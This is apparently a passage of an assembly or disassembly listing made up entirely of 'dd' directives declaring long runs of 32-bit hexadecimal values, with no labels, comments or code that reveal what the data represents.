		dd 0C4EF4FD6h, 20887173h, 38224282h, 0E5F032E6h, 0C0AC4358h
		dd 4F529EBAh, 57513F22h, 0F3BD095h, 0FD015D4Ch,	0E9624323h
		dd 0E555A64Fh, 2EF0983Bh, 1E412D0Eh, 952FA86Bh,	0BD00F9DFh
		dd 12207BAFh, 810FDDF7h, 0E08455F5h, 0E9EE89EDh, 3B8B9C87h
		dd 15AD680h, 8C055EF3h,	73E3301Eh, 0F208A12Eh, 68813953h
		dd 70206109h, 0C393645Bh, 4130D69h, 12F728D6h, 554E0642h
		dd 48743715h, 4E925655h, 1047BBC7h, 834354EEh, 80E43738h
		dd 8BD989CDh, 52763A90h, 0A1E9E20Ch, 38C55F07h,	583D695Ch
		dd 87642BA6h, 0EE07E6C1h, 8480356Eh, 0E9DEF777h, 99712227h
		dd 0D5E830B3h, 5480A1CAh, 0CD4CC765h, 26584CC3h, 1F08A106h
		dd 400E6C18h, 0C0287B74h, 7E56AAE5h, 64CDA03Dh,	8530F3ABh
		dd 995F49FDh, 49D35324h, 4230DF02h, 0CA9CA40Eh,	5A8CB5F2h
		dd 443B877Eh, 0F740002Ah, 36C135D0h, 50A04C5h, 82EF724Eh
		dd 1B4A2F98h, 9A4E9164h, 4860E12h, 39E1008Eh, 814F7AFEh
		dd 3213A0CFh, 0DE0B7C88h, 35839079h, 13050062h,	22A8F781h
		dd 4F71021Dh, 0F1D0E919h, 2E202850h, 5B0E40E6h,	4E5C000h
		dd 5098CD80h, 28B23CB4h, 0C58058BCh, 0E0B353A7h, 3FDD44E9h
		dd 0E50891D2h, 63BE0112h, 0E8375E23h, 0F5C25F4Ah, 0C05A66D0h
		dd 0A0CF2C65h, 0A92A5668h, 0E2DD5289h, 8F595338h, 5DEA0F73h
		dd 0FAA9D021h, 3C338461h, 801A181Fh, 0F0F801ABh, 9349C2Dh
		dd 0CF2FFB89h, 14D36C46h, 4E8FBA02h, 0E0426550h, 241BB82Dh
		dd 34D73D22h, 4BF08257h, 0F73E7258h, 0E05A96D7h, 7CEEC491h
		dd 494ECA05h, 4A8793EFh, 605A0670h, 5401377Ch, 276CC510h
		dd 6F2AF90Ch, 0D16E12A1h, 93E290D1h, 7E05D1C1h,	0E9A73E09h
		dd 8B9F0F4Ch, 0C2211C6Fh, 7A68E9h, 2C7B5A2Dh, 0BE4C912Eh
		dd 370ED993h, 99E63541h, 92414009h, 2202E157h, 0BF0ED70Dh
		dd 80CC403Bh, 7C77041Fh, 0C703E3C1h, 10C1882h, 0E7D220D0h
		dd 0D33261CAh, 0E902248Eh, 0EBB11B6Ch, 969CA3Eh, 2DF2982h
		dd 551587h, 0FEA6F380h,	0EB3ECB75h, 5486BBE8h, 0B50FB9B3h
		dd 653E055Bh, 0BBCC63B4h, 525F0953h, 0C4C0BD68h, 4F4DC4E9h
		dd 0AA2826B2h, 5B1724C9h, 0E6192F87h, 44D24F49h, 1EC8D448h
		dd 7F13689Eh, 8D21C964h, 0C241D729h, 5802697Ah,	0FD93C2C6h
		dd 1841E905h, 5DBB9298h, 9650AE6Ch, 5ACB0FEh, 28E8B252h
		dd 3A282D5h, 99BDA6DBh,	85DB2113h, 8F7E9FB1h, 10D93D1Bh
		dd 800559DDh, 5D2823C3h, 681677A1h, 4E8E21Bh, 28E1B66Eh
		dd 1AB786F3h, 0BAE77277h, 95E98930h, 509C244Ah,	0AD085F87h
		dd 0FC416683h, 11BF8000h, 0C140D27Bh, 1C054CE7h, 4F622205h
		dd 0ECF1011Ah, 6001F020h, 0DBF4E309h, 0FB682677h, 5F24081Ch
		dd 44D8750Bh, 2DD194ECh, 0B3513405h, 59CF1220h,	2EE9752Ch
		dd 0C1FAE76Eh, 2C5A1A68h, 5B548DB8h, 0B6B49628h, 0C4D14C04h
		dd 0C5F44869h, 2B714C1Eh, 930631CDh, 2CD55C0Dh,	0C7B91B04h
		dd 0E4F18003h, 96EEB1C1h, 0A40C0110h, 2E9CCE52h, 25DE9F06h
		dd 0D1021FF8h, 26E94132h, 884A5278h, 80159FF8h,	811EF729h
		dd 2DC743EFh, 0F8955E58h, 729D8AC1h, 22D536Dh, 0D0AF3A18h
		dd 77A200B2h, 6D256FC2h, 2C7AE406h, 5A88C382h, 0A4763410h
		dd 27400D75h, 0B8ED0381h, 0C111C861h, 41F61EB5h, 0B119C912h
		dd 2C672C29h, 5A96630Dh, 5602B705h, 0A180F2D5h,	585385CEh
		dd 0D814274Bh, 17B1B930h, 9889ACE4h, 0BD0732ACh, 0C2E42CC3h
		dd 67B812A0h, 0FBDB246Eh, 30483B0Bh, 30965D5Eh,	0A7D30849h
		dd 0BD004AA6h, 0C058E688h, 0FE031CEEh, 0ECE98C6h, 80FAD008h
		dd 0E9126FF2h, 1A5F0CABh, 82565D49h, 11AE74Ah, 0E850E2D1h
		dd 16175FBEh, 1F1A0E4Ch, 9029C004h, 72590B22h, 5278C14Eh
		dd 92C670E7h, 5EF04EC4h, 2224A282h, 18C0FA01h, 2C997491h
		dd 0DE7912B3h, 0A2958D2h, 8F00824h, 8B220E45h, 1EB76817h
		dd 1150AF8Bh, 70621246h, 9495144Ch, 90590840h, 2EB8495h
		dd 68C8B70Fh, 0A0660408h, 26BEE915h, 0C65510C5h, 0B50627Ah
		dd 0DF61C288h, 0DB627860h, 59D7B54Eh, 845613FEh, 7F61A0CFh
		dd 50781668h, 65C0BF3Ch, 0C2510B33h, 50033FFFh,	6005E092h
		dd 0AE3E3ACEh, 2036144Ch, 16B43808h, 3C4F0D19h,	595E84ABh
		dd 3096BDE9h, 3B5C7A79h, 0A9D83C88h, 0DFBF714Fh, 0E572A9C5h
		dd 1D01BA0Dh, 7D782961h, 0E9124746h, 0B4B6843Dh, 0C01C0BD0h
		dd 797840Fh, 76AE022Dh,	0FFB9606Bh, 5C012F4Bh, 0D0B41DBBh
		dd 3FC5E9A3h, 451755A8h, 6E844002h, 0B1DCC38h, 7CCD101h
		dd 7E86B2DDh, 125F4FD3h, 68FA8031h, 7D99480Dh, 8B16E7BEh
		dd 0AF3CC56Bh, 3340E51Ch, 0D06D931h, 0D8CC785Ch, 0B8478F0Dh
		dd 6168BC6Dh, 811023E9h, 0CFA9EFB7h, 0FDF902BDh, 9C552AF4h
		dd 0C31495DCh, 39807240h, 0C59D08F5h, 1ED8233h,	2D90D5F6h
		dd 0F7FA32B7h, 0FD289207h, 0E99F535Bh, 989B0766h, 3A0F66ABh
		dd 34A95456h, 2AEF42F5h, 0C14C0652h, 0A2D42D84h, 91A800Fh
		dd 6481F59h, 18225A49h,	3CCEB7E9h, 0E548C145h, 0DBF50147h
		dd 29138722h, 52008E39h, 3167308Ch, 1935BD8h, 26EE91Fh
		dd 0DAF75987h, 4569DC82h, 0B3227AEh, 0DAE914E0h, 6765B2AAh
		dd 3357298Fh, 41621B04h, 1DCF5E0Eh, 0E49F2017h,	677BA57Ah
		dd 1018122h, 842D5FF9h,	0EC6AC365h, 7A005C8h, 969E30E9h
		dd 737D6805h, 267D01B2h, 970EC442h, 0EB2209D3h,	3A57CB83h
		dd 0C5FDB125h, 0C9E90B43h, 65041EA9h, 0AB5017h,	0CB8054B3h
		dd 0B8D3F6D6h, 39E9193Bh, 8A2D2CF7h, 0EC5660C6h, 680A8390h
		dd 0A649057Fh, 232B4B7Fh, 0CF88B565h, 0AD561406h, 5176D107h
		dd 0B121C43Ah, 1891013Fh, 0C1596464h, 0DB9BEC00h, 0DABD55A1h
		dd 282B2C22h, 0AD572C5Fh, 0DA137D92h, 43BE7802h, 0C413F55Bh
		dd 96E60B06h, 8802644Fh, 0DF49BFE9h, 1B27604Bh,	7A117011h
		dd 394D62Ch, 17916402h,	2AB2F6B0h, 460E5330h, 901B4CBBh
		dd 26C60336h, 216EABF3h, 0FCF20AA5h, 0D92986CEh, 8001BC5Bh
		dd 89F54928h, 8C8E59CEh, 56384E05h, 0B905C887h,	1C7721FEh
		dd 7C469859h, 1859463Ch, 870C838Ch, 18E9ECC3h, 56696730h
		dd 86479358h, 0C93E1258h
		dd 3295805h, 73F23548h,	26D009C7h, 384AE5BAh, 31466781h
		dd 79E1DD52h, 0CCE9E10Dh, 0B90AAC6Ah, 0AA112BCh, 0E48FE14Bh
		dd 5052004Fh, 0C336FB68h, 51775805h, 87670C06h,	74525956h
		dd 49332E31h, 38B802BAh, 38E11E0Ah, 0CD5F8019h,	693C2D59h
		dd 5D6C7D67h, 0C10F45D7h, 0A90507E2h, 89F959DBh, 7A0CCE95h
		dd 8FC85888h, 0D2F6580Eh, 8603D1E9h, 3987CFF1h,	0E69B60C9h
		dd 53246EE6h, 0DD60DABBh, 1789565Bh, 8136E9E6h,	21EF0189h
		dd 862228F0h, 0E11AF90Bh, 0CEF52631h, 10056761h, 282EBF00h
		dd 2F6866C3h, 0A6AE6752h, 8C38F1E4h, 2502B7B4h,	0EF80DFF6h
		dd 0C9AA6109h, 2813C7D8h, 4B58FC88h, 0B819C4BFh, 0C8FAC9D4h
		dd 95409599h, 492E14A2h, 30A30409h, 75813BA0h, 0E16D1EEDh
		dd 6035CC38h, 999FAEBh,	0E9424A60h, 274B5F8Dh, 0CC782CFh
		dd 7034A0Ch, 899FBC5Ch,	548BD3E8h, 6691A50h, 0D70FD990h
		dd 0CE140872h, 0C18E336Fh, 21902E7Eh, 5053504Fh, 1AEFB805h
		dd 25836B27h, 0C1250231h, 0D037DB26h, 53798640h, 13F29ECh
		dd 8EA28CAh, 12E51A1h, 3D71C821h, 0BA0071C9h, 9C3443AAh
		dd 0EA40144Ah, 5B52535Ch, 0A9DE7389h, 712A5AB5h, 2CB6E98Dh
		dd 922B481Bh, 0A0FE96A0h, 0B11C6F12h, 2C70CFE9h, 0E5C81BE3h
		dd 4E790E27h, 0C168E432h, 0D25858F4h, 407AE7BDh, 425824E5h
		dd 7B13DE47h, 9FE974C4h, 0C5133E1Ch, 19C14D37h,	840706D1h
		dd 2DE4571Ah, 0E3E91882h, 0D2049A8Fh, 4D92F2F2h, 5D89173Dh
		dd 12D68E04h, 0F25FCCB0h, 127D96E3h, 0E3F4665Eh, 7F9E109Dh
		dd 7C3C8352h, 9552502h,	0F6D9E68Dh, 79F05164h, 0F70007D9h
		dd 0DE7231D3h, 8408F369h, 680263AAh, 877923DDh,	25385817h
		dd 403F4FEAh, 0A61E9D63h, 1B975F2Ch, 0E90D165Dh, 5193C0E7h
		dd 0C051B0B5h, 86746093h, 59EE3002h, 5C44F668h,	4C4D67C8h
		dd 0BBE011h, 445AD089h,	95334942h, 24F9210h, 61BB2ABAh
		dd 2CDF74E3h, 11013CECh, 0B3E96FC8h, 54EE5336h,	73764ABAh
		dd 70A67A2Eh, 1DFF981Dh, 5858BA3Ah, 48EA310Ah, 54975E9h
		dd 0D878F01Ch, 75BA5A6Fh, 50F4C3Bh, 3719AE7h, 5CEF79C0h
		dd 6BC52751h, 0A62208AFh, 44C29994h, 1D3E83D1h,	0B29853F3h
		dd 1650C6A8h, 8555B71h,	933A7F27h, 0ACDC013h, 833A733Bh
		dd 25D80C4Eh, 222FD4F9h, 0AED3122Ch, 0FA9C8DDh,	67411119h
		dd 2C2FC968h, 0A8E982C1h, 5C83FA32h, 0E83F80CAh, 178EF52Ch
		dd 0C0ECC4D1h, 0B81FF6C5h, 0C4Eh, 0B62CCCEEh, 209D9028h
		dd 5B7635E8h, 34C9DF7Dh, 2A1DE55Fh, 0D1D24E6Ah,	0BF9BF5h
		dd 90D830ACh, 36CF2F57h, 32669119h, 8B0F27E1h, 0F0CD07E1h
		dd 0F8285AC1h, 83227124h, 71D831D1h, 0BA1670D2h, 41044409h
		dd 56242418h, 62831EDDh, 5E36DBB9h, 0F080C294h,	71E98741h
		dd 0C6443A20h, 5A0044FBh, 2712BD35h, 5C16A4Ch, 95D8E547h
		dd 405C3DF0h, 39D25406h, 79C1E8D2h, 0E98F6FB5h,	56200ADCh
		dd 102834E1h, 472DE408h, 1597F89h, 0E1B65892h, 8C76BA12h
		dd 0E0415D4Dh, 0CD920272h, 0DE170184h, 0D95607BEh, 8492A00Bh
		dd 34999542h, 6467E850h, 0D9B253B1h, 0E632E05Bh, 5856E88Fh
		dd 3064C5Ch, 0E10BCEE9h, 0FB03FD98h, 4F29BB5Fh,	9F284B24h
		dd 99E91A60h, 62D8C081h, 0CAF3D43h, 934329A4h, 83ADC450h
		dd 2BDE3084h, 1869C238h, 0B20C742Eh, 67B32C0Fh,	3408485Bh
		dd 0DC141A0Ch, 26FA507Ch, 0A02AFE97h, 82C0DB55h, 123D77D1h
		dd 5EB42CDDh, 95C34E81h, 1861E1AAh, 1A0216FCh, 63E93768h
		dd 0BD5EF346h, 1759F49Bh, 41D9C2B0h, 7D2D2F7Bh,	51D83909h
		dd 0E9A21F28h, 64E92C54h, 9D91FC75h, 0E4660805h, 7C54E0B7h
		dd 3148F707h, 2BF2003h,	34AF2B9h, 0EFC2894Bh, 0C8203476h
		dd 3504AF04h, 65E9297Eh, 4BBB6809h, 2184421Ah, 3D30E171h
		dd 80C53B98h, 89FE9E07h, 5015DEAh, 8B0203DAh, 88C27514h
		dd 52BC97C3h, 0ACB81627h, 624D9C42h, 14080BECh,	4516C425h
		dd 0BD65D482h, 0E82158C1h, 0CCCC15Dh, 50C82731h, 908D7109h
		dd 0D8A6280Bh, 58FE686Dh, 54C45911h, 4892E35Bh,	1D1510E3h
		dd 0C9D9881Fh, 0AE8FCB28h, 13573BB0h, 7A21752h,	0CC68F584h
		dd 2BFB8FEDh, 4EE90831h, 80013E2Ch, 0FD08F2F7h,	20F5D95Bh
		dd 3540D2B7h, 693F2F68h, 0E91767B4h, 1696C437h,	6490C962h
		dd 31F5D4ADh, 0D25E2662h, 0CC4CEB12h, 0BB334031h, 0EFE02551h
		dd 0CC740EC6h, 4397B1B6h, 5CBA4780h, 652302F1h,	37206605h
		dd 88CCEC0h, 734D7CABh,	1080D175h, 0B11D6B97h, 40CAD343h
		dd 0D9685205h, 50000731h, 42D2F75Ah, 1356E281h,	1B3F9E53h
		dd 298049D0h, 3E20E9D1h, 8FBF072Dh, 0C7050C17h,	0B132C4F8h
		dd 3F6543B7h, 8EE02EFAh, 329C895Bh, 408FCD3Bh, 5A1BFBF7h
		dd 980C5843h, 24F7889Ah, 6DA21h, 247291EAh, 2ECC116h, 69E412C7h
		dd 0DDE9A993h, 0FCB8F3A0h, 6FAA005Bh, 462DEE05h, 0E912522Ah
		dd 63E512EDh, 16809A3Dh, 29691064h, 0EB1EB694h,	0BE560160h
		dd 5E992047h, 0D6493531h, 0E99C6B72h, 8DF8A56h,	0E0A72495h
		dd 0D7FAF412h, 29828CAEh, 0D187CA03h, 74E1C15Ah, 414B2EE0h
		dd 0C9283009h, 3C583D24h, 0D7145FE1h, 0F86318BFh, 5CD14B0Ch
		dd 0E10681EBh, 902F8239h, 7D0C167Ch, 2EDD01C8h,	0BDED40E4h
		dd 358ED616h, 8CEFFE0Fh, 4C5F8545h, 5A89BF52h, 968B9629h
		dd 0D8AD40C1h, 0F3A8737Ah, 0FB3F4615h, 3C8DC3Fh, 0E7DFD756h
		dd 0E962A7F7h, 2621565Eh, 0B2EC1663h, 0CFC42648h, 620E6858h
		dd 263E2105h, 9C035D05h, 10A908F5h, 3563218h, 1F1135BAh
		dd 5D4D33Dh, 0AC6866B9h, 0F32BC209h, 3C22648h, 3F287F76h
		dd 8348AA01h, 0A09859B6h, 0C052FCE9h, 0C8B0504Dh, 58ECC120h
		dd 9EC717B6h, 0A8B353F3h, 0B66C54E9h, 0D70072CAh, 426501E9h
		dd 87CA682Eh, 75107BE1h, 0AE181FCh, 45A04164h, 4BFB1FF6h
		dd 0AC01EEF2h, 3FD38959h, 0DD34C012h, 207E53F3h, 595B1C1Ah
		dd 0A3F1CF8Dh, 796FFC25h, 638C2058h, 3C572180h,	83AC5A20h
		dd 9ACAA551h, 8AA06474h, 7520D198h, 67B6B5BAh, 0C3805C0Eh
		dd 51C61C67h, 40AADBB5h, 0D358317Dh, 950BB44Bh,	0B7B3E456h
		dd 0C8AF4410h, 7CC951E8h, 64B2619Fh, 2F313938h,	8BF3288Dh
		dd 0C4FCF2BCh, 421FBC58h, 5E00684Ch, 0D68BDF01h, 6F36E1FEh
		dd 24E95D3Ch, 40CFED78h, 68576E89h, 6B588DE2h, 2DBEC001h
		dd 0B0115871h, 2CF30B04h, 837005C7h, 63A3D155h,	0B0257B73h
		dd 51383A59h, 5B839042h, 5506142Eh, 142BDC68h, 14F2546Bh
		dd 0D05D56F4h, 0A4092DD6h, 0E1104B07h, 49A58058h, 9830879Eh
		dd 538006CCh, 276D05BBh, 823128AEh, 4E5049CCh, 1A5CCFE0h
		dd 0E9E36100h, 64496653h, 0F933C0DEh, 63B3942Ah, 9D1E6018h
		dd 22162C77h, 53685181h, 8D6893A7h, 0E917501Ah,	114733F1h
		dd 0BCA2A3BDh, 43CAE169h, 2D688F24h, 93461003h,	0E6D90169h
		dd 0D35AB085h, 19AC411h, 143A0BFEh, 638602Dh, 0B5092A98h
		dd 0D85C5D38h, 77190FF3h, 0F2A478A8h, 0D54EC3B1h, 64AFEEE0h
		dd 109E17Eh, 7830E9D6h,	89595E33h, 7EFD78DDh, 0B7581920h
		dd 0E9187F9Eh, 0F63EBCDEh, 0ECD02ED4h, 21810B8h, 543FB22Dh
		dd 70E2C262h, 68AD08C0h, 0CCBA5D3Ch, 0ED047946h, 5A5F1421h
		dd 0A00141E8h, 89388546h, 7C8071D7h, 6E5F2FC6h,	0A8010ABEh
		dd 2BE2198Ch, 0C3263C53h, 0E9644C8Ch, 1D7F965Dh, 0A1D3F187h
		dd 0C91DBDC4h
		dd 2BF1E47h, 0E3A1F6B5h, 0DBC40A3Dh, 7A3173Fh, 0DD7DAF48h
		dd 6519C2Fh, 96416682h,	0A579C513h, 0FAEC3FC2h,	7D560F41h
		dd 0F9643129h, 5268020Fh, 3485591Dh, 2DEAB28Eh,	0EF14226Ch
		dd 0C7DB7E09h, 0D0B4B539h, 35C5BDDEh, 63220127h, 0EA089D08h
		dd 4789A7B6h, 6693CD9h,	4BD9463Dh, 88F40B1Ch, 533F0350h
		dd 0FD1DF0B7h, 68C4665Bh, 82980C10h, 0B7FFC007h, 5EFC048h
		dd 5B44EDBEh, 0F0F333C2h, 9339333h, 0A6602CD2h,	6882B7A0h
		dd 0F4F38848h, 2B74DC34h, 2E9427E5h, 0DCA4BAC4h, 253AB991h
		dd 15DA3336h, 6CD8AEC2h, 4DFF735h, 36BD0880h, 2F987F2Ch
		dd 0AEC85E6Ch, 0E9E7FEC2h, 58F193A9h, 0C1090C8Fh, 3D0110E8h
		dd 4D610A68h, 799BE08Fh, 0F112B2B7h, 0EEC6A52Dh, 18AB18C0h
		dd 9C293705h, 56082058h, 4D619E59h, 38525A58h, 31397582h
		dd 5EC224D0h, 0EBA6DF13h, 112D5839h, 0B6E87F68h, 2B0BD482h
		dd 580AAD35h, 0AEDC3F11h, 5C965988h, 353BD12Dh,	2654A3E6h
		dd 492D21E9h, 8064778Eh, 0F368245Ah, 4697BD0Dh,	0D1DEB4C7h
		dd 55C82800h, 3214B850h, 8E2A50FEh, 8CFC0403h, 0F806E943h
		dd 0A54D5151h, 52BB39C1h, 801320F8h, 341E15BAh,	0A882691h
		dd 464A1907h, 0D64B4117h, 776800DBh, 9FBA9926h,	49E09855h
		dd 0E32E8058h, 0A01FB4A7h, 0B2C0AF0Bh, 80A8C53Bh, 4E602CBBh
		dd 2BB73177h, 0B053C6B7h, 4AD7AA94h, 1770D3DEh,	681004D6h
		dd 3362ED22h, 0D9470698h, 0DB2DE81Dh, 0C72F506Fh, 472A497h
		dd 27D1575Ah, 243F65A8h, 0ACA9D4E8h, 5C0DD95Ch,	0C8859389h
		dd 0B5DC0C02h, 0BA1DB103h, 0D89BA9A6h, 0D7869EBh, 62970002h
		dd 250D8D0Fh, 5CA12F3Ch, 11382231h, 0D64CB5B0h,	7F0CC24Ch
		dd 0D3B0A014h, 5DE3811Eh, 0D1516CC1h, 0EA414BEBh, 4030DE85h
		dd 9C5BE601h, 0B120C43Eh, 10306DFBh, 804E0A43h,	93534E28h
		dd 1254648h, 7A021F7Dh,	0F6513BE9h, 0C7C9F831h,	249508BDh
		dd 0F53BDD27h, 896C9093h, 8BEB216Ah, 84EA88B9h,	51E22CFCh
		dd 13F75F7Fh, 682E60A6h, 54245BA7h, 960B301Ch, 0DFA56839h
		dd 75883D1Bh, 205F60D8h, 1DEB8083h, 0D228564Eh,	0C8675A47h
		dd 0AE987DA7h, 49243D58h, 5D570351h, 0D2DD875Fh, 566A6A36h
		dd 18765287h, 7067EF81h, 12A06877h, 0A0E75DEAh,	7EF88A5Fh
		dd 4AEDB225h, 2CEC1962h, 0FA0B8902h, 0B6789817h, 245812A4h
		dd 3811A98Ah, 0B5FCD4B4h, 0CDFE351Eh, 0F856C296h, 0A18DBC4Fh
		dd 0C8891150h, 0BE6502F8h, 0F0039266h, 0D57DF72Ah, 6A90674Ah
		dd 711234C9h, 0E1EC72h,	3EEB06F9h, 63BE5649h, 6EEE3A14h
		dd 2DB801A4h, 464E5D55h, 1812CEE0h, 1C05E419h, 0AA0EA77Eh
		dd 63F1315Eh, 0E703E1C1h, 3EE89441h, 17E99154h,	4CD35C13h
		dd 9CF4D68h, 455EF513h,	340501E2h, 81CB1AD5h, 7BE1E9BAh
		dd 0BAD93649h, 21AF40Fh, 2815605Eh, 0F7031AC0h,	0A3E9D008h
		dd 0F250132Eh, 0FAAF449Eh, 288D075Ah, 8E489939h, 0D94FF40Bh
		dd 0C3E13481h, 4624F54Dh, 619D2ACh, 120C6A10h, 0FC05C0h
		dd 2959C801h, 2398E9D8h, 5E0EA3BDh, 60B04AC3h, 75B52DB9h
		dd 0E958D90Bh, 9FB870FDh, 6CCA4319h, 0B87A29Bh,	52E35206h
		dd 5E1F7B93h, 0D9F1F013h, 8B1AB28h, 2A0275B9h, 2D1290D5h
		dd 0F9547849h, 0C2586A5Ah, 5802D47Ah, 9DA86051h, 6F05005Ch
		dd 8C2690B9h, 0D17DF73Eh, 0AE000A98h, 0BA5A855Fh, 313C44Ch
		dd 58C201A8h, 80DCD131h, 5320BB24h, 0D101F49h, 5FD2F5E9h
		dd 0A97CEAD9h, 72D76809h, 52A195C4h, 2AE0044Ch,	3C54F8BEh
		dd 0D6302A9Bh, 49F68104h, 7761D2F0h, 709CE910h,	0C94532A7h
		dd 0E6E76127h, 5BC19755h, 0E92C5690h, 0F7C9C6D0h, 0A862D051h
		dd 90C72DDh, 37517E54h,	0D2F70E60h, 0B8CEE91Bh,	43E6D220h
		dd 5126C080h, 0AF0663BFh, 1009ABC6h, 85F28916h,	60E42A5Ch
		dd 6E620011h, 0FECF814Ah, 7A2C2B52h, 4A374347h,	50C77930h
		dd 0BCE926DAh, 95E4A8AAh, 97449C21h, 7261D635h,	7A756AC0h
		dd 10506083h, 7B293C5h,	145E64BBh, 0E1DF01C3h, 6D2ACD8Dh
		dd 0A392B8Ch, 6043CB02h, 5FE9329Bh, 0BF43809Dh,	639422BAh
		dd 2CCC0F0Ah, 602125BDh, 0BD030D5h, 71B3535Ah, 802C700h
		dd 0FE095BD8h, 80FA0CC0h, 0E8309171h, 1BD320E9h, 6B409895h
		dd 0EC51B24Dh, 99626674h, 24B7BBCBh, 84A027DEh,	23ED0780h
		dd 0B205E5C0h, 18C6C479h, 0C75180BFh, 5B6E0E1Ah, 635B0459h
		dd 0E9E51F58h, 0EE215EB7h, 66187AB2h, 7E022C69h, 9CB70924h
		dd 0CAC741h, 38786866h,	56C329B5h, 6F1327B7h, 0D64AB1AAh
		dd 5F544D82h, 6F620671h, 5AD02F3h, 0B2EA2664h, 42141B16h
		dd 912E050Bh, 2D011072h, 45386C66h, 0D8917CC3h,	92CA53E9h
		dd 1ACE25BFh, 64C9B079h, 0F47825E1h, 3464DDD1h,	54A86871h
		dd 19EBC2DAh, 2E039B0Ah, 0D015C66Ah, 7E281DAh, 4F1A318Eh
		dd 52EA7042h, 3123F1Eh,	0A55364E9h, 31C1425Eh, 55A46815h
		dd 48705588h, 1FD05D3Ch, 62B0565Dh, 0B8EF3B12h,	20C2065Ch
		dd 6A60410Fh, 551CBF0Dh, 0AD47183Fh, 0D589C671h, 0A459D35h
		dd 46BB914Bh, 0A179BA0Ah, 8B305292h, 0E50496FAh, 0E5CBC810h
		dd 0E0DB040h, 59203501h, 87AA660h, 0A80F050Fh, 0A252B523h
		dd 6097787Dh, 3DF730A8h, 1F0979B4h, 9185557Fh, 16A3C2C1h
		dd 0DE125D05h, 134F4DF0h, 0EFE78147h, 0C038D00Eh, 0D3BCDF7h
		dd 40B49027h, 0E81C29E0h, 5C0015Dh, 46CF3711h, 21FA012Dh
		dd 1CE977C2h, 46CC6C5Ch, 191650D8h, 0D7B62873h,	0D34A576Ah
		dd 39808814h, 0B3275A80h, 0A9D69182h, 55DDEA08h, 1E7AE622h
		dd 542BE902h, 21CF8EBFh, 0C10B07C0h, 4F5006E7h,	7D011BB4h
		dd 0FB015E2Ch, 892A295Fh, 0D0E462AAh, 90269606h, 4B24ED2Eh
		dd 221E26C9h, 313C0948h, 2E927C51h, 5714FFADh, 6755FA55h
		dd 92424930h, 0E6280753h, 32D0458h, 0E5A72CF0h,	6BE6A812h
		dd 4A5C5D9h, 0AE946855h, 0A7D9E217h, 0FD593038h, 0A3FF274Ah
		dd 2E006D0Dh, 0D1482D5Eh, 5289E59Bh, 834131C3h,	12556434h
		dd 0BD96E954h, 32EF005Ah, 560D010Ah, 895E0F57h,	0EB4BE9F1h
		dd 9EC1F81Bh, 28108FAFh, 5B3F2BD8h, 0E8838937h,	0C8493C7Ch
		dd 2DE98D7Eh, 6193B317h, 0C1D0F9C2h, 96E013A1h,	0A8095706h
		dd 77CAFAB1h, 231A2FD7h, 0C7206046h, 97537454h,	204C383h
		dd 1AEBC301h, 521CE873h, 180BBDF4h, 26291738h, 0A88B0CF1h
		dd 0B00E127Ch, 0B42820AEh, 404EB125h, 825C52FDh, 0ADDAE40h
		dd 80072C81h, 0AAE9A4DCh, 0CA272A4Fh, 5751D582h, 7CFCD61Ch
		dd 0B80026B4h, 79E04721h, 18F10B2Dh, 8F0B673Ch,	85900CFAh
		dd 0A7A412B4h, 82758B3Ch, 0BC7F043Bh, 0F4F8550Bh, 0E729C502h
		dd 8B355818h, 6DDE806h,	68578015h, 6A61F609h, 4262F126h
		dd 0F1C1EF87h, 7A63D231h, 8710A8EDh, 0F325C688h, 503D9BA3h
		dd 94E9DC85h, 0F1D3BCD7h, 2D284BA7h, 0E59F0493h, 5B00A73Fh
		dd 0A561624h, 0CA2A04F3h, 13296BBEh, 0D60A3FDAh, 85F657Fh
		dd 55DCD225h, 9380BA5Eh, 0A8CBB53h, 434855BCh, 0BA1F4B91h
		dd 718DDF92h, 0AA0E313Eh, 9DE6585Ch, 0F6E4DA63h, 80D190D9h
		dd 0B966FE1h, 0CF0BD7EEh, 0EC4D7D04h, 0DB8F2564h, 4F94A092h
		dd 7D558B25h, 5EC9BF34h, 54169E65h, 0EA009FB2h,	11740E4Ah
		dd 679425E9h, 15E5BA01h, 0EC4030BDh, 0FDAA0A48h, 2FE38471h
		dd 0FCECE669h, 6858C626h, 5EABE958h, 163DD8FDh,	5D9D89E9h
		dd 3205DA07h, 0CF4B344Ch
		dd 940EE84h, 0C1D6825Fh, 505C8019h, 267D743h, 63C0CD81h
		dd 555A42h, 0E1F3EDD2h,	318909CFh, 0EC0E5DEAh, 0BD54C0F6h
		dd 4D3008B8h, 572B3873h, 6036B0BEh, 0F7598DE1h,	681297D7h
		dd 0C9C93029h, 0E322212Fh, 569D2ECBh, 25DDE643h, 0FC586161h
		dd 0CF394A96h, 0DD307D3h, 0F57FD1B6h, 0D481FD50h, 0B1139B66h
		dd 0F7B0098Ch, 4C1F04CBh, 80525C75h, 404B232Ah,	0DA891800h
		dd 5AD3295Bh, 95D85001h, 0A8108A50h, 828872BBh,	97AB824Fh
		dd 5CE15251h, 0F562A30Fh, 924C3812h, 8CE1810Fh,	6FE8611Ah
		dd 5A60C901h, 0CAF41496h, 61503ED6h, 0A2F27176h, 893760BBh
		dd 4668816Fh, 0EA59A436h, 0DE044BA7h, 5E096BB3h, 68531130h
		dd 0BD7D5D32h, 0E0070A4h, 0FE01C480h, 5E4C063h,	0BD04063Dh
		dd 0E34CF0F4h, 0F3E0B779h, 93D83072h, 0AC925B9h, 5042BBAh
		dd 8EEC5450h, 8661AFB4h, 59002DE0h, 1995F021h, 863C5E2Ah
		dd 80AEEDA4h, 3E95FFDh,	0C797C511h, 0DC67C2BEh,	0FAA44E0Bh
		dd 0F2F3D6C2h, 71BF803Bh, 244382Fh, 1B5DB951h, 8D447D3Eh
		dd 0CD3CFE4Fh, 40235ECEh, 6F2A341Ch, 0CD4C0975h, 16BA161Fh
		dd 0B95F5188h, 0C2516447h, 0D3560F87h, 0A41E2C73h, 0F1BB802Dh
		dd 81605972h, 0CAD8F300h, 18056192h, 1FD1094Ch,	3610BE9h
		dd 0DFC32C5Ah, 0E640D209h, 1B700778h, 34682A35h, 2230AA7Eh
		dd 48F77452h, 0C003372Ch, 2DF93D90h, 39CB1DB0h,	0E9D00109h
		dd 0AC0EDEC6h, 5975EC56h, 548F9A97h, 485CD905h,	0BE4C560Dh
		dd 2F8B948Fh, 926BE55Eh, 0ED968808h, 0C140C296h, 0E8310BE8h
		dd 41982A68h, 0E23B25CDh, 640790D9h, 0AB20288h,	0FA3B5D4Dh
		dd 64290D7Eh, 0C18BD83Ch, 907B46E5h, 64DF3A63h,	10210A4h
		dd 0F237A1F1h, 6A2E2129h, 0B9A5B617h, 68005FEDh, 0BFAC4E7Ah
